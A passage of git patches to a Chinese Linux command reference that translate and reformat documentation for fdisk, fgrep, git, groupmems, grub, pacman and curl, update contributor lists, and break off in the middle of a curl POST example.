### 语法 ```shell -fdisk(选项)(参数) +fdisk [选项] <磁盘> 更改分区表 +fdisk [选项] -l [<磁盘>...] 列出分区表 ``` ### 选项 ```shell - -b <大小> 扇区大小(512、1024、2048或4096) - -c[=<模式>] 兼容模式：“dos”或“nondos”(默认) - -h 打印此帮助文本 - -u[=<单位>] 显示单位：“cylinders”(柱面)或“sectors”(扇区，默认) - -v 打印程序版本 - -C <数字> 指定柱面数 - -H <数字> 指定磁头数 - -S <数字> 指定每个磁道的扇区数 + +选项： + -b, --sectors-size <大小> 显示扇区计数和大小 + -B, --protect-boot 创建新标签时不要擦除 bootbits + -c, --compatibility[=<模式>] 模式，为“dos”或“nondos”(默认) + -L, --color[=<时机>] 彩色输出（auto, always 或 never）默认启用颜色 + -l, --list 显示分区并退出 + -x, --list-details 类似 --list 但提供更多细节 + -n, --noauto-pt 不要在空设备上创建默认分区表 + -o, --output <列表> 输出列 + -t, --type <类型> 只识别指定的分区表类型 + -u, --units[=<单位>] 显示单位，“cylinders”柱面或“sectors”扇区(默认) + -s, --getsz 以 512-字节扇区显示设备大小[已废弃] + -b, --bytes 以字节为单位而非易读的格式来打印 SIZE + --lock[=<模式>] 使用独占设备锁（yes、no 或 nonblock） + -w, --wipe <模式> 擦除签名（auto, always 或 never） + -W, --wipe-partitions <模式> 擦除新分区的签名(auto, always 或 never) + + -C, --cylinders <数字> 指定柱面数 + -H, --heads <数字> 指定磁头数 + -S, --sectors <数字> 指定每条磁道的扇区数 + + -h, --help 显示此帮助 + -V, --version 显示版本 ``` ### 参数 diff --git a/command/fgrep.md b/command/fgrep.md index 5bbb737d87e..fa64eaf0316 100644 --- a/command/fgrep.md +++ b/command/fgrep.md @@ -9,13 +9,13 @@ fgrep fgrep 命令于 grep 和 egrep 命令不同，因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。`$, *, [, |, (, )`和`\`等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式，但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义，完整的字符串应该加上单引号`‘ ... ’`。. 如果没有指定文件， fgrep 命令假定标准输入。一般，找到的每行都复制到标准输出中去。如果不止一个输入文件，则在找到的每行前打印文件名。 -1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。 -2. 每行限制在 2048 个字节。 -3. 段落（-p 标志下）目前限制在5000个字符的长度。 -4. 不要在特定的文件中运行 grep 命令，因为会产生不可预料的结果。 -5. 输入行不能包含空字符。 -6. 输入文件应该以换行字符结尾。 -7. 虽然可以同时指定很多标志，但某些标志会覆盖其余的标志。例如，如果同时指定 -l 和 -n ，只有文件名写入到标准输出中去。 +1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。 +2. 每行限制在 2048 个字节。 +3. 段落（-p 标志下）目前限制在5000个字符的长度。 +4. 不要在特定的文件中运行 grep 命令，因为会产生不可预料的结果。 +5. 输入行不能包含空字符。 +6. 输入文件应该以换行字符结尾。 +7. 虽然可以同时指定很多标志，但某些标志会覆盖其余的标志。例如，如果同时指定 -l 和 -n ，只有文件名写入到标准输出中去。 ### 语法 diff --git a/command/git.md b/command/git.md index 69d52a5db3e..9b811a9db58 100644 --- a/command/git.md +++ b/command/git.md @@ -27,17 +27,13 @@ Git迅速成为最流行的分布式版本控制系统，尤其是2008年，GitH [Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md) -### 语法 +### 语法 ```shell -git [--version] [--help] [-C ] [-c name=value] - [--exec-path[=]] [--html-path] [--man-path] [--info-path] - [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] - [--git-dir=] [--work-tree=] [--namespace=] - [] +git [--version] [--help] [-C ] [-c name=value] [--exec-path[=]] [--html-path] [--man-path] [--info-path] [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] [--git-dir=] [--work-tree=] [--namespace=] [] ``` -### 选项 +### 选项 ```shell add 将文件内容添加到索引 @@ -97,20 +93,20 @@ git push -f origin master # 强制推送文件，缩写 -f（全写--force） clone -`git clone git://github.com/JSLite/JSLite.js.git ` +`git clone git://github.com/JSLite/JSLite.js.git` `git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 `git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。`git clone <版本库的网址> <本地目录名>` ```shell -$ git clone http[s]://example.com/path/to/repo.git/ -$ git clone ssh://example.com/path/to/repo.git/ -$ git clone git://example.com/path/to/repo.git/ -$ git clone /opt/git/project.git -$ git clone file:///opt/git/project.git -$ git clone ftp[s]://example.com/path/to/repo.git/ -$ git clone rsync://example.com/path/to/repo.git/ +git clone http[s]://example.com/path/to/repo.git/ +git clone ssh://example.com/path/to/repo.git/ +git clone git://example.com/path/to/repo.git/ +git clone /opt/git/project.git +git clone file:///opt/git/project.git +git clone ftp[s]://example.com/path/to/repo.git/ +git clone rsync://example.com/path/to/repo.git/ ``` ## 配置 @@ -128,7 +124,7 @@ git config --list # 查看配置的信息 ### 配置自动换行 -自动转换坑太大，提交到git是自动将换行符转换为lf +自动转换坑太大，提交到git是自动将换行符转换为lf ```shell git config --global core.autocrlf input @@ -155,8 +151,8 @@ ssh -T git@github.com # 测试是否成功 **2.密钥复制到托管平台上** -`vim ~/.ssh/jslite_rsa.pub` -打开公钥文件 `jslite_rsa.pub` ，并把内容复制至代码托管平台上 +`vim ~/.ssh/jslite_rsa.pub` +打开公钥文件 `jslite_rsa.pub` ，并把内容复制至代码托管平台上 **3.修改config文件** @@ -214,8 +210,8 @@ ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key ### 免密码登录远程服务器 ```shell -$ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key -$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 +ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key +ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 ``` 编辑 `~/.ssh/config` @@ -240,19 +236,19 @@ git clone https://github.com/username/rep.git ```shell [core] - repositoryformatversion = 0 - filemode = true - bare = false - logallrefupdates = true - ignorecase = true - precomposeunicode = true + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true + ignorecase = true + precomposeunicode = true [remote "origin"] -- url = https://github.com/username/rep.git -+ url = https://用户名:密码@github.com/username/rep.git - fetch = +refs/heads/*:refs/remotes/origin/* +- url = https://github.com/username/rep.git ++ url = https://用户名:密码@github.com/username/rep.git + fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] - remote = origin - merge = refs/heads/master + remote = origin + merge = refs/heads/master ``` ### 文件推向3个git库 @@ -310,8 +306,7 @@ $ git fetch -p **5.更改pull** -只需要更改config文件里，那三个url的顺序即可，fetch-url会直接对应排行第一的那个utl连接。 - +只需要更改config文件里，那三个url的顺序即可，fetch-url会直接对应排行第一的那个utl连接。 ### 修改远程仓库地址 @@ -375,7 +370,6 @@ git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑 git push # 提交回滚 ``` - ### 回退到某一个版本 ```shell @@ -469,8 +463,6 @@ git rebase --continue git push -f origin master ``` - - ### 添加忽略文件 ```shell @@ -540,7 +532,6 @@ git merge upstream/master # create mode 100644 README.md ``` - ### 批量修改历史commit中的名字和邮箱 **1.克隆仓库** @@ -608,7 +599,6 @@ git pull --allow-unrelated-histories git pull origin master --allow-unrelated-histories ``` - ### 查看某个文件历史 ```shell @@ -674,20 +664,20 @@ git push -f origin master # 强制推送文件，缩写 -f（全写--force） ## clone -`git clone git://github.com/JSLite/JSLite.js.git ` +`git clone git://github.com/JSLite/JSLite.js.git` `git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 `git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。`git clone <版本库的网址> <本地目录名>` ```shell -$ git clone http[s]://example.com/path/to/repo.git/ -$ git clone ssh://example.com/path/to/repo.git/ -$ git clone git://example.com/path/to/repo.git/ -$ git clone /opt/git/project.git -$ git clone file:///opt/git/project.git -$ git clone ftp[s]://example.com/path/to/repo.git/ -$ git clone rsync://example.com/path/to/repo.git/ +git clone http[s]://example.com/path/to/repo.git/ +git clone ssh://example.com/path/to/repo.git/ +git clone git://example.com/path/to/repo.git/ +git clone /opt/git/project.git +git clone file:///opt/git/project.git +git clone ftp[s]://example.com/path/to/repo.git/ +git clone rsync://example.com/path/to/repo.git/ ``` ## 本地 @@ -1032,7 +1022,6 @@ git help * # 获取命令的帮助信息 git status # 获取当前的状态，非常有用，因为git会提示接下来的能做的操作 ``` - ## 报错问题解决 **1. `git fatal: protocol error: bad line length character: No s`** @@ -1082,7 +1071,7 @@ git config --global core.quotepath false - [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html) - [git-简明指南](http://rogerdudler.github.io/git-guide/index.zh.html) - [learnGitBranching 在线学习工具](http://pcottle.github.io/learnGitBranching/) -- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) +- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) - [廖雪峰的Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) - [蒋鑫老师将带你入github的大门](http://www.worldhello.net/gotgithub/) - [git详解](http://www.open-open.com/lib/view/open1328069609436.html) @@ -1092,5 +1081,3 @@ git config --global core.quotepath false - [Git 本地仓库和裸仓库](https://gold.xitu.io/post/5842f9b861ff4b005889ade6) - [沉浸式学 Git](http://www.kancloud.cn/kancloud/igit/46710) - [Git进阶用法，主要是rebase高级用法](http://way.oschina.io/2016/12/15/notes/GitAdvance/?utm_source=gank.io&utm_medium=email) - - diff --git a/command/groupmems.md b/command/groupmems.md index 49853af1e95..16acdb99820 100644 --- a/command/groupmems.md +++ b/command/groupmems.md @@ -9,13 +9,13 @@ groupmems 只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。 -### 语法 +### 语法 ```shell groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p ``` -### 选项 +### 选项 ```bash -a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在，并且该组在 /etc/gshadow 文件中没有条目，则将创建一个新条目。 @@ -54,58 +54,58 @@ MAX_MEMBERS_PER_GROUP (number) groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中，以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。 ```shell -$ groupadd -r groups -$ chmod 2770 groupmems +groupadd -r groups +chmod 2770 groupmems -$ chown root.groups groupmems -$ groupmems -g groups -a gk4 +chown root.groups groupmems +groupmems -g groups -a gk4 ``` 让我们创建一个新用户和一个新组并验证结果： ```shell -$ useradd student -$ passwd student -$ groupadd staff +useradd student +passwd student +groupadd staff ``` 使用户 student 成为组人员的成员： ```shell -$ groupmems -g staff -a student -$ groupmems -g staff -l +groupmems -g staff -a student +groupmems -g staff -l ``` 将用户添加到组： ```shell -$ groupmems -a mike -g SUPPORT -$ groupmems --add mike -g SUPPORT +groupmems -a mike -g SUPPORT +groupmems --add mike -g SUPPORT ``` 从组中删除/移除用户： ```shell -$ groupmems -d mike SUPPORT -g SUPPORT -$ groupmems --delete mike SUPPORT -g SUPPORT +groupmems -d mike SUPPORT -g SUPPORT +groupmems --delete mike SUPPORT -g SUPPORT ``` 更改组名称： ```shell -$ groupmems -g SUPPORT +groupmems -g SUPPORT ``` 从组中删除用户： ```shell -$ groupmems -p -g SUPPORT -$ groupmems --purge -g SUPPORT +groupmems -p -g SUPPORT +groupmems --purge -g SUPPORT ``` 要列出组的成员： ```shell -$ groupmems -l -g SUPPORT -$ groupmems --list -g SUPPORT -``` \ No newline at end of file +groupmems -l -g SUPPORT +groupmems --list -g SUPPORT +``` diff --git a/command/grub.md b/command/grub.md index 7d2bbf52277..9de9c456598 100644 --- a/command/grub.md +++ b/command/grub.md @@ -69,3 +69,6 @@ boot 这里的关键问题是如何确定系统的几个分区：`/boot` `/` `/sbin` +### 参考资料 + +- 自由软件基金会 - grub 文档 diff --git a/command/grub2-mkconfig.md b/command/grub2-mkconfig.md index 97d53f2acb5..80c9dd3c2f9 100644 --- a/command/grub2-mkconfig.md +++ b/command/grub2-mkconfig.md @@ -6,14 +6,14 @@ grub2-mkconfig ## 语法 ```shell -Usage: grub2-mkconfig [OPTION] -Generate a grub config file +用法: grub2-mkconfig [OPTION] +生成 grub 配置文件 - -o, --output=FILE output generated config to FILE [default=stdout] - -h, --help print this message and exit - -v, --version print the version information and exit + -o, --output=FILE 将生成的配置输出到 FILE 文件 [default=stdout] + -h, --help 打印这个文件并退出 + -v, --version 打印版本信息并退出 -Report bugs to . +报告 Bug 通过 . ``` diff --git a/command/pacman.md b/command/pacman.md new file mode 100644 index 00000000000..9330c6c1d0e --- /dev/null +++ b/command/pacman.md @@ -0,0 +1,50 @@ +pacman +=== + +Arch Linux 系统极其衍生系统中默认使用的包管理器 + +## 安装 + +在安装 Arch Linux 时，会需要安装 base 包组，其中包括 pacman 包，具体 Arch Linux 安装流程请参见 [Arch Wiki(CN)](https://wiki.archlinuxcn.org/wiki/%E5%AE%89%E8%A3%85%E6%8C%87%E5%8D%97) + +## 实例 + +### 安装软件包 + +```bash +pacman -S p7zip +``` + +也可以安装一个软件包组 + +```bash +pacman -S gnome +``` + +### 列出所有软件包 + +```bash +pacman -Q +``` + +### 删除某个软件包 + +```bash +pacman -R p7zip +``` + +或者是同时删除他的依赖 + +```bash +pacman -Rsc p7zip +``` + +### 开始滚动更新 + +```bash +pacman -Syyu +``` + +## 参考资料 + +- Archlinux 中文维基 From a43c9b4d98462e138a053a9a599b9054cd07e3ff Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 24 Apr 2023 14:15:40 +0000 Subject: [PATCH 0671/1019] doc: update README.md. --- README.md | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index fb583d94d0a..0cfcce49253 100644 --- a/README.md +++ b/README.md @@ -592,8 +592,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - deny + + Deny dongpohezui @@ -622,6 +622,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 huangyao + + jqz3.tech + juemuren4449 @@ -664,8 +667,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunix + + sunls24 tangke @@ -700,6 +703,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 七朔 + + 丛林意志 + 孤城落寞 @@ -739,8 +745,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 远方 - - catAndZ + + catandz 黑&蛋 From 5eed550c2fa5f8a9fb81f089bb526062ec58f95b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 24 Apr 2023 14:15:41 +0000 Subject: [PATCH 0672/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index bdc61bd61a3..61c1e260c93 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -240,8 +240,8 @@ dayday - - deny + + Deny dongpohezui @@ -270,6 +270,9 @@ huangyao + + jqz3.tech + juemuren4449 @@ -312,8 +315,8 @@ snovey - - sunix + + sunls24 tangke @@ -348,6 +351,9 @@ 七朔 + + 丛林意志 + 孤城落寞 @@ -387,8 +393,8 @@ 远方 - - catAndZ + + catandz 黑&蛋 From 9c38fcf5834c2c6c208ef44c9b9df5530dce1669 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Tue, 25 Apr 2023 00:27:10 +0800 Subject: [PATCH 0673/1019] =?UTF-8?q?fix(curl,time):=20=E6=A0=BC=E5=BC=8F?= =?UTF-8?q?=E5=8C=96=E5=86=85=E5=AE=B9=EF=BC=8C=E5=B9=B6=E5=8F=82=E8=80=83?= =?UTF-8?q?=20#359=20#352=20=E4=BF=AE=E6=94=B9=E6=96=87=E6=A1=A3=20(#488)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/curl.md | 353 +++++++++++++++++++++++++----------------------- command/time.md | 74 ++++++++-- 2 files changed, 249 insertions(+), 178 deletions(-) diff --git a/command/curl.md b/command/curl.md index 10ae30983d1..81c8cb38fef 100644 --- a/command/curl.md +++ b/command/curl.md @@ -16,109 +16,109 @@ curl(选项)(参数) ### 选项 ```bash --a/--append # 上传文件时，附加到目标文件 --A/--user-agent # 设置用户代理发送给服务器 --anyauth # 可以使用“任何”身份验证方法 --b/--cookie # cookie字符串或文件读取位置 -     --basic # 使用HTTP基本验证 --B/--use-ascii # 使用ASCII /文本传输 --c/--cookie-jar # 操作结束后把cookie写入到这个文件中 --C/--continue-at # 断点续传 --d/--data # HTTP POST方式传送数据 -     --data-ascii # 以ascii的方式post数据 -     --data-binary # 以二进制的方式post数据 -     --negotiate # 使用HTTP身份验证 -     --digest # 使用数字身份验证 -     --disable-eprt # 禁止使用EPRT或LPRT -     --disable-epsv # 禁止使用EPSV --D/--dump-header # 把header信息写入到该文件中 -     --egd-file # 为随机数据(SSL)设置EGD socket路径 -     --tcp-nodelay # 使用TCP\_NODELAY选项 --e/--referer # 来源网址 --E/--cert # 客户端证书文件和密码 (SSL) -     --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL) -     --key # 私钥文件名 (SSL) -     --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL) -     --pass # 私钥密码 (SSL) -     --engine # 加密引擎使用 (SSL). "--engine list" for list -     --cacert # CA证书 (SSL) -     --capath # CA目录 (made using c\_rehash) to verify peer against (SSL) -     --ciphers # SSL密码 -     --compressed # 要求返回是压缩的形势 (using deflate or gzip) -     --connect-timeout # 设置最大请求时间 -     --create-dirs # 建立本地目录的目录层次结构 -     --crlf # 上传是把LF转变成CRLF --f/--fail # 连接失败时不显示http错误 -     --ftp-create-dirs # 如果远程目录不存在，创建远程目录 -     --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用 -     --ftp-pasv # 使用 PASV/EPSV 代替端口 -     --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址 -     --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输 -     --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输 --F/--form # 模拟http表单提交数据 -     --form-string # 模拟http表单提交数据 --g/--globoff # 禁用网址序列和范围使用{}和\[] --G/--get # 以get的方式来发送数据 --H/--header # 自定义头信息传递给服务器 -     --ignore-content-length # 忽略的HTTP头信息的长度 --i/--include # 输出时包括protocol头信息 --I/--head # 只显示请求头信息 --j/--junk-session-cookies # 读取文件进忽略session cookie -     --interface # 使用指定网络接口/地址 -     --krb4 # 使用指定安全级别的krb4 --k/--insecure # 允许不使用证书到SSL站点 --K/--config # 指定的配置文件读取 --l/--list-only # 列出ftp目录下的文件名称 -     --limit-rate # 设置传输速度 -     --local-port # 强制使用本地端口号 --m/--max-time # 设置最大传输时间 -     --max-redirs # 设置最大读取的目录数 -     --max-filesize # 设置最大下载的文件总量 --M/--manual # 显示全手动 --n/--netrc # 从netrc文件中读取用户名和密码 -     --netrc-optional # 使用 .netrc 或者 URL来覆盖-n -     --ntlm # 使用 HTTP NTLM 身份验证 --N/--no-buffer # 禁用缓冲输出 --o/--output # 把输出写到该文件中 --O/--remote-name # 把输出写到该文件中，保留远程文件的文件名 --p/--proxytunnel # 使用HTTP代理 -     --proxy-anyauth # 选择任一代理身份验证方法 -     --proxy-basic # 在代理上使用基本身份验证 -     --proxy-digest # 在代理上使用数字身份验证 -     --proxy-ntlm # 在代理上使用ntlm身份验证 --P/--ftp-port # 使用端口地址，而不是使用PASV --q # 作为第一个参数，关闭 .curlrc --Q/--quote # 文件传输前，发送命令到服务器 --r/--range # 检索来自HTTP/1.1或FTP服务器字节范围 ---range-file # 读取（SSL）的随机文件 --R/--remote-time # 在本地生成文件时，保留远程文件时间 -     --retry # 传输出现问题时，重试的次数 -     --retry-delay # 传输出现问题时，设置重试间隔时间 -     --retry-max-time # 传输出现问题时，设置最大重试时间 --s/--silent # 静默模式。不输出任何东西 --S/--show-error # 显示错误 -     --socks4 # 用socks4代理给定主机和端口 -     --socks5 # 用socks5代理给定主机和端口 -     --stderr #   --t/--telnet-option # Telnet选项设置 -     --trace # 对指定文件进行debug -     --trace-ascii # Like --跟踪但没有hex输出 -     --trace-time # 跟踪/详细输出时，添加时间戳 --T/--upload-file # 上传文件 -     --url # Spet URL to work with --u/--user # 设置服务器的用户和密码 --U/--proxy-user # 设置代理用户名和密码 --w/--write-out \[format] # 什么输出完成后 --x/--proxy # 在给定的端口上使用HTTP代理 --X/--request # 指定什么命令 --y/--speed-time # 放弃限速所要的时间，默认为30 --Y/--speed-limit # 停止传输速度的限制，速度时间 +-a --append # 上传文件时，附加到目标文件 +-A --user-agent # 设置用户代理发送给服务器 +-anyauth # 可以使用“任何”身份验证方法 +-b --cookie # cookie字符串或文件读取位置 +     --basic # 使用HTTP基本验证 +-B --use-ascii # 使用ASCII /文本传输 +-c --cookie-jar # 操作结束后把cookie写入到这个文件中 +-C --continue-at # 断点续传 +-d --data # HTTP POST方式传送数据 +     --data-ascii # 以ascii的方式post数据 +     --data-binary # 以二进制的方式post数据 +     --negotiate # 使用HTTP身份验证 +     --digest # 使用数字身份验证 +     --disable-eprt # 禁止使用EPRT或LPRT +     --disable-epsv # 禁止使用EPSV +-D --dump-header # 把header信息写入到该文件中 +     --egd-file # 为随机数据(SSL)设置EGD socket路径 +     --tcp-nodelay # 使用TCP\_NODELAY选项 +-e --referer # 来源网址 +-E --cert # 客户端证书文件和密码 (SSL) +     --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL) +     --key # 私钥文件名 (SSL) +     --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL) +     --pass # 私钥密码 (SSL) +     --engine # 加密引擎使用 (SSL). "--engine list" for list +     --cacert # CA证书 (SSL) +     --capath # CA目录 (made using c\_rehash) to verify peer against (SSL) +     --ciphers # SSL密码 +     --compressed # 要求返回是压缩的形势 (using deflate or gzip) +     --connect-timeout # 设置最大请求时间 +     --create-dirs # 建立本地目录的目录层次结构 +     --crlf # 上传是把LF转变成CRLF +-f --fail # 连接失败时不显示http错误 +     --ftp-create-dirs # 如果远程目录不存在，创建远程目录 +     --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用 +     --ftp-pasv # 使用 PASV/EPSV 代替端口 +     --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址 +     --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输 +     --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输 +-F --form # 模拟http表单提交数据 +     --form-string # 模拟http表单提交数据 +-g --globoff # 禁用网址序列和范围使用{}和\[] +-G --get # 以get的方式来发送数据 +-H --header # 自定义头信息传递给服务器 +     --ignore-content-length # 忽略的HTTP头信息的长度 +-i --include # 输出时包括protocol头信息 +-I --head # 只显示请求头信息 +-j --junk-session-cookies # 读取文件进忽略session cookie +     --interface # 使用指定网络接口/地址 +     --krb4 # 使用指定安全级别的krb4 +-k --insecure # 允许不使用证书到SSL站点 +-K --config # 指定的配置文件读取 +-l --list-only # 列出ftp目录下的文件名称 +     --limit-rate # 设置传输速度 +     --local-port # 强制使用本地端口号 +-m --max-time # 设置最大传输时间 +     --max-redirs # 设置最大读取的目录数 +     --max-filesize # 设置最大下载的文件总量 +-M --manual # 显示全手动 +-n --netrc # 从netrc文件中读取用户名和密码 +     --netrc-optional # 使用 .netrc 或者 URL来覆盖-n +     --ntlm # 使用 HTTP NTLM 身份验证 +-N --no-buffer # 禁用缓冲输出 +-o --output # 把输出写到该文件中 +-O --remote-name # 把输出写到该文件中，保留远程文件的文件名 +-p --proxytunnel # 使用HTTP代理 +     --proxy-anyauth # 选择任一代理身份验证方法 +     --proxy-basic # 在代理上使用基本身份验证 +     --proxy-digest # 在代理上使用数字身份验证 +     --proxy-ntlm # 在代理上使用ntlm身份验证 +-P --ftp-port # 使用端口地址，而不是使用PASV +-q # 作为第一个参数，关闭 .curlrc +-Q --quote # 文件传输前，发送命令到服务器 +-r --range # 检索来自HTTP/1.1或FTP服务器字节范围 +--range-file # 读取（SSL）的随机文件 +-R --remote-time # 在本地生成文件时，保留远程文件时间 +     --retry # 传输出现问题时，重试的次数 +     --retry-delay # 传输出现问题时，设置重试间隔时间 +     --retry-max-time # 传输出现问题时，设置最大重试时间 +-s --silent # 静默模式。不输出任何东西 +-S --show-error # 显示错误 +     --socks4 # 用socks4代理给定主机和端口 +     --socks5 # 用socks5代理给定主机和端口 +     --stderr #   +-t --telnet-option # Telnet选项设置 +     --trace # 对指定文件进行debug +     --trace-ascii # Like --跟踪但没有hex输出 +     --trace-time # 跟踪/详细输出时，添加时间戳 +-T --upload-file # 上传文件 +     --url # 要使用的 URL +-u --user # 设置服务器的用户和密码 +-U --proxy-user # 设置代理用户名和密码 +-w --write-out \[format] # 什么输出完成后 +-x --proxy # 在给定的端口上使用HTTP代理 +-X --request # 指定什么命令 +-y --speed-time # 放弃限速所要的时间，默认为30 +-Y --speed-limit # 停止传输速度的限制，速度时间 ``` ### 实例 -**文件下载** +#### **文件下载** curl命令可以用来执行下载、发送各种HTTP请求，指定HTTP头部等操作。如果系统没有curl可以使用`yum install curl`安装，也可以下载安装。curl是将下载文件输出到stdout，将进度信息输出到stderr，不显示进度信息使用`--silent`选项。 @@ -141,7 +141,7 @@ curl http://example.com/test.iso -o filename.iso --progress ######################################### 100.0% ``` -**不输出错误和进度信息** +#### **不输出错误和进度信息** `-s` 参数将不输出错误和进度信息。 @@ -153,9 +153,10 @@ curl -s https://www.example.com 如果想让 curl 不产生任何输出，可以使用下面的命令。 ```shell -curl -s -o /dev/null https://google.com +curl -s -o /dev/null https://example.com ``` -**断点续传** + +#### **断点续传** curl能够从特定的文件偏移处继续下载，它可以通过指定一个便宜量来下载部分文件： @@ -166,19 +167,19 @@ curl URL/File -C 偏移量 curl -C -URL ``` -**使用curl设置参照页字符串** +#### **使用curl设置参照页字符串** 参照页是位于HTTP头部中的一个字符串，用来表示用户是从哪个页面到达当前页面的，如果用户点击网页A中的某个连接，那么用户就会跳转到B网页，网页B头部的参照页字符串就包含网页A的URL。 -使用`--referer`选项指定参照页字符串： +使用 `--referer` 选项指定参照页字符串： ```shell -curl --referer http://www.google.com http://wangchujiang.com +curl --referer http://www.example.com http://example.com ``` -**用curl设置用户代理字符串** +#### **用curl设置用户代理字符串** -有些网站访问会提示只能使用IE浏览器来访问，这是因为这些网站设置了检查用户代理，可以使用curl把用户代理设置为IE，这样就可以访问了。使用`--user-agent`或者`-A`选项： +有些网站访问会提示只能使用IE浏览器来访问，这是因为这些网站设置了检查用户代理，可以使用curl把用户代理设置为IE，这样就可以访问了。使用 `--user-agent` 或者 `-A` 选项： ```shell curl URL --user-agent "Mozilla/5.0" @@ -188,10 +189,10 @@ curl URL -A "Mozilla/5.0" 其他HTTP头部信息也可以使用curl来发送，使用`-H`"头部信息" 传递多个头部信息，例如： ```shell -curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL +curl -H "Host:example.com" -H "accept-language:zh-cn" URL ``` -**curl的带宽控制和下载配额** +#### **curl的带宽控制和下载配额** 使用`--limit-rate`限制curl的下载速度： @@ -214,76 +215,81 @@ curl --limit-rate 200k https://example.com # 上面命令将带宽限制在每秒 200K 字节。 ``` -**用curl进行认证** +#### **用curl进行认证** 使用curl选项 -u 可以完成HTTP或者FTP的认证，可以指定密码，也可以不指定密码在后续操作中输入密码： ```shell -curl -u user:pwd http://wangchujiang.com -curl -u user http://wangchujiang.com +curl -u user:pwd http://example.com +curl -u user http://example.com ``` -**只打印响应头部信息** +#### **只打印响应头部信息** 通过`-I`或者`-head`可以只打印出HTTP头部信息： ```shell -[root@localhost text]# curl -I http://wangchujiang.com +[root@localhost text]# curl -I http://example.com HTTP/1.1 200 OK -Server: nginx/1.2.5 -date: Mon, 10 Dec 2012 09:24:34 GMT +Content-Encoding: gzip +Accept-Ranges: bytes +Age: 275552 +Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 -Connection: keep-alive -Vary: Accept-Encoding -X-Pingback: http://wangchujiang.com/xmlrpc.php +Date: Mon, 24 Apr 2023 14:39:36 GMT +Etag: "3147526947+gzip" +Expires: Mon, 01 May 2023 14:39:36 GMT +Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT +Server: ECS (sec/96EE) +X-Cache: HIT +Content-Length: 648 ``` -**get请求** +#### **GET 请求** ```shell -curl "http://www.wangchujiang.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地 -curl -i "http://www.wangchujiang.com" # 显示全部信息 -curl -l "http://www.wangchujiang.com" # 显示页面内容 -curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析 +curl "http://www.example.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地 +curl -i "http://www.example.com" # 显示全部信息 +curl -l "http://www.example.com" # 显示页面内容 +curl -v "http://www.example.com" # 显示get请求全过程解析 ``` -**post请求** +#### **POST 请求** ```shell -$ curl -d 